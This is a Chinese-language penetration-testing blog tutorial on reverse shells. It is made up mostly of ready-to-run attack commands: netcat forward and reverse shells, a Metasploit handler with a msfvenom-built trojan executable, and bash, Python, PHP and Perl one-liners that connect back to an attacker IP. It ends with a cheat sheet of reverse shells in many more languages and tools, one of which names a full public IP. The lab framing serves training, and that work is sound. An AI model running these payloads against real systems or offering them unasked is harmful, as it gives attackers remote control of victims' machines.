内网渗透——反弹shell详解

JAVASEC 2021年4月17日01:57:09评论48 views字数 7145阅读23分49秒阅读模式
摘要

声明:文章技术仅供网络安全技术人员及白帽子使用,任何个人或组织不可用于
违法犯罪,一经发现直接上报国家安全机关处理。

声明:文章技术仅供网络安全技术人员及白帽子使用,任何个人或组织不可用于
违法犯罪,一经发现直接上报国家安全机关处理。

反弹shell

反弹shell:
在攻击者机器获得受害者机器的命令行。

[toc]

背景:

对内网有更深入的理解,了解内网的组织结构,为了更好的进行内网渗透。

正向反弹shell:

目的:

利用nc正向连接目标服务器的shell,获得目标服务器的控制权限(dmz大型靶场)

前提:

攻击者可以访问(连接)web服务器的目标(开放)端口,web服务器防火墙未拦截攻击者的入站流量。适用于,能够访问到被控机器的开放端口。

实验环境:

物理机(攻击机):

目标服务器(公网windows):***.***.88.201:6666

网络拓扑:

内网渗透——反弹shell详解

实验步骤:

步骤一:

主动连接被控主机shell,在被控主机上使用nc监听6666端口,成功反弹shell后就控制目标服务器的cmd.exe程序(只要连接到目标服务器的6666端口,就会执行cmd.exe),结果如下图所示:

命令:

#被控主机为Windows,使用以下命令: nc.exe -lvp 4444 -e cdm.exe #被控主机为linux,使用以下命令: nc -lvp 4444 -e /bin/bash 

下图为被控主机:
内网渗透——反弹shell详解
步骤二:

攻击机连接目标服务器的6666端口,结果如下图所示:

命令:

#攻击者: #nc -vv 被控服务器ip 4444 nc -vv ***.***.88.201 6666 

下图是攻击者主机:
内网渗透——反弹shell详解

反向反弹shell:

目的:

利用nc反向反弹shell到攻击者本地,获得目标服务器的控制权限(dmz大型靶场)

前提:

1、防火墙对web服务器(被控主机)出站流量放行。

2、攻击者必须有一个公网ip。

实验环境:

攻击机器(公网kali):***.***.23.106:9999

被控机器(公网windows):

网络拓扑:

内网渗透——反弹shell详解

实验步骤:

步骤一:

攻击者外网vps监听9999端口:
攻击者kali(公网ip)进行监听本地9999端口,被控主机反弹shellkali(公网ip)9999端口,结果如下图所示:
命令:

#攻击机器(公网kali):***.***.23.106:9999 nc -lvvp 9999 

下图为公网kali:
内网渗透——反弹shell详解
步骤二:

把被控主机的shell反弹到攻击者kali9999端口,如下图所示:

命令:

#nc -e /bin/bash 攻击者公网ip 9999 (反弹linux shell)  #nc -e cmd.exe 攻击者公网ip 9999(反弹windows shell) 

下图为被控主机:
内网渗透——反弹shell详解

步骤二:

查看kali,显示成功反弹目标服务器的shell,如下图所示:

内网渗透——反弹shell详解

分析:

能够反弹成功,需要攻击者开启公网kali的监听端口,并让防火墙对经过9999端口的流量进行放行;

被攻击者需要有攻击者的公网ip,并且被攻击者的流量能够出来。

其他方式反弹shell:

msf反弹:

实验环境:

攻击机器(公网kali):***.***.23.106:9999

被控主机(虚拟机win8):

实验步骤:

步骤一:

攻击者公网vps监听9999端口:
攻击者在公网kali(公网ip)使用msf的msfconsole进行监听9999端口的木马反弹,结果如下图所示:

命令:

#攻击机器(公网kali):***.***.23.106:9999 msfconsole  use exploit/multi/handler set payload windows/x64/meterpreter/reverse_tcp set lhost ***.***.23.106:9999 set lport 9999 

内网渗透——反弹shell详解内网渗透——反弹shell详解
步骤三:

生成一个反弹木马,并将生成的木马上传到被控主机(虚拟机win8)上,并进行点击运行,使被控主机反弹shellkali(公网ip)9999端口,如下图所示:

命令:

#使用msfvenom生成反弹木马: msfvenom -p windows/x64/meterpreter/reverse_tcp lhost=***.***.23.106:9999lport=9999 -f exe -o test.exe #这里是使用finalshell远程连接公网kali的,所以使用sz命令下载刚才生成的木马到物理机: sz test.exe #下面就是把下载下来的木马文件放到被控主机(虚拟机win8)。 

内网渗透——反弹shell详解内网渗透——反弹shell详解

内网渗透——反弹shell详解

步骤三:

被控主机(虚拟机win8)上,点击运行test.exe(这个木马文件),并进行查看公网kali反弹情况,如下图所示:
内网渗透——反弹shell详解

内网渗透——反弹shell详解

bash反弹:

实验环境:

攻击机器(公网kali):..23.106:9999

被控机器(虚拟机centos6.5):

实验步骤:
接收端(攻击者ip,公网): nc -lvvp 端口 发送端(被控主机):bash -i >& /dev/tcp/攻击者ip(公网)/攻击者端口 0>&1 发送端(被控主机):0<&31-;exec 31<>/dev/tcp/攻击者ip(公网)/攻击者端口; sh <&31 >&31 2>&31 

步骤一:

为了保证环境的贴近实战,保持防火墙开启状态。(反弹shell有正向和反向的,我们90%都是反向反弹的shell。

正常情况下,攻击者是无法正向连接目标服务器的;除了开启22端口,通过ssh可以连接进来的,但是ssh我们不知道帐号密码;我们最主要的目的是获取目标主机的反向shell,所以防火墙可以不用关闭)。只关闭setenforce(setlinux),并查看防火墙状态,如下图所示:

命令:

#关闭setlinux setenforce 0 #查看防火墙状态: service iptables status 

内网渗透——反弹shell详解

步骤二:

攻击者外网vps监听9999端口:
攻击者kali(公网ip)进行监听本地9999端口,被控主机反弹shellkali(公网ip)9999端口,结果如下图所示:

命令:

#攻击机器(公网kali):***.***.23.106:9999 nc -lvvp 9999 

内网渗透——反弹shell详解
命令:

bash -i >& /dev/tcp/***.***.23.106/9999 0>&1 

步骤三:

被控机器(虚拟机centos6.5)上,使用bashshell反弹到攻击者公网kali上,并进行查看公网kali反弹情况,如下图所示:
内网渗透——反弹shell详解内网渗透——反弹shell详解

python反弹:

实验环境:

攻击机器(公网kali):***.***.23.106:9999

被控机器(虚拟机centos6.5):

实验步骤:
接收端(攻击者ip,公网): nc -lvvp 端口 发送端(被控主机):python -c 'import socket,subprocess,os;s=socket.socket(socket.AF_INET,socket.SOCK_STREAM);s.connect(("攻击者公网ip",攻击者公网监听端口));os.dup2(s.fileno(),0); os.dup2(s.fileno(),1); os.dup2(s.fileno(),2);p=subprocess.call(["/bin/bash","-i"]);' 

步骤一:

攻击者公网vps监听9999端口:
攻击者kali(公网ip)进行监听本地9999端口,被控主机反弹shellkali(公网ip)9999端口,结果如下图所示:

命令:

#攻击机器(公网kali):***.***.23.106:9999 nc -lvvp 9999 

内网渗透——反弹shell详解

步骤二:

被控机器(虚拟机centos6.5)上,使用pythonshell反弹到攻击者公网kali上,并进行查看公网kali反弹情况,如下图所示:

命令:

python -c 'import socket,subprocess,os;s=socket.socket(socket.AF_INET,socket.SOCK_STREAM);s.connect(("***.***.23.106",9999));os.dup2(s.fileno(),0); os.dup2(s.fileno(),1); os.dup2(s.fileno(),2);p=subprocess.call(["/bin/bash","-i"]);' 

内网渗透——反弹shell详解
内网渗透——反弹shell详解

php反弹:

实验环境:

攻击机器(公网kali):***.***.23.106:9999

被控机器(虚拟机centos6.5):

实验步骤:
接收端(攻击者ip,公网): nc -lvvp端口 发送端(被控主机):bash -i >& /dev/tcp/攻击者ip(公网)/攻击者端口 0>&1 发送端(被控主机):php -r '$sock=fsockopen("攻击者ip",端口);exec("/bin/sh -i <&3 >&3 2>&3");' 

步骤一:

攻击者公网vps监听9999端口:
攻击者kali(公网ip)进行监听本地9999端口,被控主机反弹shellkali(公网ip)的9999端口:

命令:

#攻击机器(公网kali):***.***.23.106:9999 nc -lvvp 9999 

步骤二:

被控机器(虚拟机centos6.5)上,使用phpshell反弹到攻击者公网kali上,并进行查看公网kali反弹情况:
命令:

php -r '$sock=fsockopen("***.***.23.106",9999);exec("/bin/bash -i <&3 >&3 2>&3");' 

perl反弹:

实验环境:

攻击机器(公网kali):***.***.23.106:9999

被控机器(虚拟机centos6.5):

实验步骤:
接收端(攻击者ip,公网): nc -lvvp端口 发送端:perl -e 'use Socket;$i="攻击者ip";$p=8080;socket(S,PF_INET,SOCK_STREAM,getprotobyname("tcp"));if(connect(S,sockaddr_in($p,inet_aton($i)))){open(STDIN,">&S");open(STDOUT,">&S");open(STDERR,">&S");exec("/bin/bash -i");};' 

步骤一:

攻击者公网vps监听9999端口:
攻击者kali(公网ip)进行监听本地9999端口,被控主机反弹shellkali(公网ip)9999端口,结果如下图所示:

命令:

#攻击机器(公网kali):***.***.23.106:9999 nc -lvvp 9999 

内网渗透——反弹shell详解
步骤三:

被控机器(虚拟机centos6.5)上,使用bashshell反弹到攻击者公网kali上,并进行查看公网kali反弹情况,如下图所示:

命令:

perl -e 'use Socket;$i="***.***.23.106";$p=9999;socket(S,PF_INET,SOCK_STREAM,getprotobyname("tcp"));if(connect(S,sockaddr_in($p,inet_aton($i)))){open(STDIN,">&S");open(STDOUT,">&S");open(STDERR,">&S");exec("/bin/bash -i");};' 

内网渗透——反弹shell详解
内网渗透——反弹shell详解

linux反弹shell姿势合集:

在目标服务器(linux)上面进行反弹shell时,可以通过以下命令,查看目标服务器上面有没有安装对应的程序:
命令:

#比如查看目标服务器上面有没有安装php服务: rpm -q php 

内网渗透——反弹shell详解

linux反弹shell总结  1/.1发送文件/(公网发内网/) 文件发送端:nc /-lp 6666 < 文件 文件接收端:nc 发送端ip 发送端端口 /> 新文件  1/.2发送文件/(内网发公网/) 文件发送端:nc /-lp 6666 /> 文件 文件接收端:nc 发送端ip 发送端端口 < 新文件  2/.聊天 发送端:nc /-lp 6666 接收端:nc 发送端ip 发送端端口  3/.1发送shell 发送端/(公网服务器/):nc /-lvvp 6666 /-e /bin/bash 接收端:nc 发送端ip 发送端攻击者ip  3/.2反弹shell 接收端:nc /-lvvp 6666 发送端/(内网网服务器/):nc 接收端ip 接收端端口 /-e /bin/bash  4/.bash反弹 接收端/(hackip/,公网/):nc /-lvvp 端口 发送端/(受害者/):bash /-i />& /dev/tcp/111/.230/.170/.95/9985 0/>&1 发送端/(受害者/):0<&31/-;exec 31</>/dev/tcp/111/.230/.170/.95/9985;sh <&31 />&31 2/>&31  5/.1socat反弹/(tcp/) 接收端/(攻击机/):/./socat TCP/-LISTEN:端口 /- 发送端/(靶机/):/./socat exec:'bash /-li'/,pty/,stderr/,setsid/,sigint/,sane tcp:攻击机ip:攻击机端口  5/.2socat反弹/(udp/) 接收端:nc /-lvvp 8080 发送端:socat udp/-connect:攻击者ip:端口 exec:'bash /-li'/,pty/,stderr/,sane 2/>&1/>/dev/null &  6/.python反弹 接收端/(攻击机/,外网/):nc /-lvvp 端口 发送端/(靶机/):python /-c 'import socket/,subprocess/,os;s=socket/.socket/(socket/.AF/_INET/,socket/.SOCK/_STREAM/);s/.connect/(/("接收端ip"/,接收端端口/)/);os/.dup2/(s/.fileno/(/)/,0/); os/.dup2/(s/.fileno/(/)/,1/); os/.dup2/(s/.fileno/(/)/,2/);p=subprocess/.call/(/["/bin/sh"/,"/-i"/]/);'  7/.PHP反弹 接收端:nc /-lvvp 端口 发送端:php /-r '$sock=fsockopen/("攻击者ip"/,端口/);exec/("/bin/sh /-i <&3 />&3 2/>&3"/);'  8/.JAVA反弹 接收端:nc /-lvvp 端口 发送端: r = Runtime/.getRuntime/(/) p = r/.exec/(/["/bin/bash"/,"/-c"/,"exec 5</>/dev/tcp/攻击者ip/端口;cat <&5 /| while read line; do $line 2/>&5 />&5; done"/] as String/[/]/) p/.waitFor/(/)  9/.perl反弹 接收端:nc /-lvvp 端口 发送端: perl /-e 'use Socket;$i="攻击者ip";$p=8080;socket/(S/,PF/_INET/,SOCK/_STREAM/,getprotobyname/("tcp"/)/);if/(connect/(S/,sockaddr/_in/($p/,inet/_aton/($i/)/)/)/)/{open/(STDIN/,"/>&S"/);open/(STDOUT/,"/>&S"/);open/(STDERR/,"/>&S"/);exec/("/bin/sh /-i"/);/};'  10/.ruby反弹 接收端:nc /-lvvp 端口 发送端: ruby /-rsocket /-e 'exit if fork;c=TCPSocket/.new/("攻击者ip"/,"端口"/);while/(cmd=c/.gets/);IO/.popen/(cmd/,"r"/)/{/|io/|c/.print io/.read/}end'  11/.telnet反弹 接收端:nc /-lvvp 端口 发送端: mknod backpipe p && telnet 攻击者ip 端口 0<backpipe /| /bin/bash 1/>backpipe  12/.lua反弹/(安装lua环境:apt/-get install lua/*/) 接收端:nc /-lvvp 端口 发送端:lua /-e "local s=require/('socket'/);local t=assert/(s/.tcp/(/)/);t:connect/('攻击者ip'/,端口/);while true do local r/,x=t:receive/(/);local f=assert/(io/.popen/(r/,'r'/)/);local b=assert/(f:read/('/*a'/)/);t:send/(b/);end;f:close/(/);t:close/(/);"  13/.awk反弹 接收端:nc /-lvvp 端口 发送端:awk 'BEGIN/{s="/inet/tcp/0/攻击者ip/端口";while/(1/)/{do/{s/|&getline c;if/(c/)/{while/(/(c/|&getline/)/>0/)print $0/|&s;close/(c/)/}/}while/(c/!="exit"/);close/(s/)/}/}'  14/.ksh反弹 接收端:nc /-lvvp 端口 发送端:ksh /-c 'ksh />/dev/tcp/攻击者ip/端口 2/>&1 <&1'  15/.msfvenom生成各种payload 接收端:nc /-lvvp 端口 查找payload:msfvenom /-l payload /|grep 'cmd/unix/reverse' 生成payload:msfvenom /-p cmd/unix/reverse/_模块 lhost=接收端ip lport=接收端端口 R 

原创不易,转载请注明来源

  • 左青龙
  • 微信扫一扫
  • weinxin
  • 右白虎
  • 微信扫一扫
  • weinxin
JAVASEC
  • 本文由 发表于 2021年4月17日01:57:09
  • 转载请保留本文链接(CN-SEC中文网:感谢原作者辛苦付出):
                   内网渗透——反弹shell详解https://cn-sec.com/archives/336772.html

发表评论

匿名网友 填写信息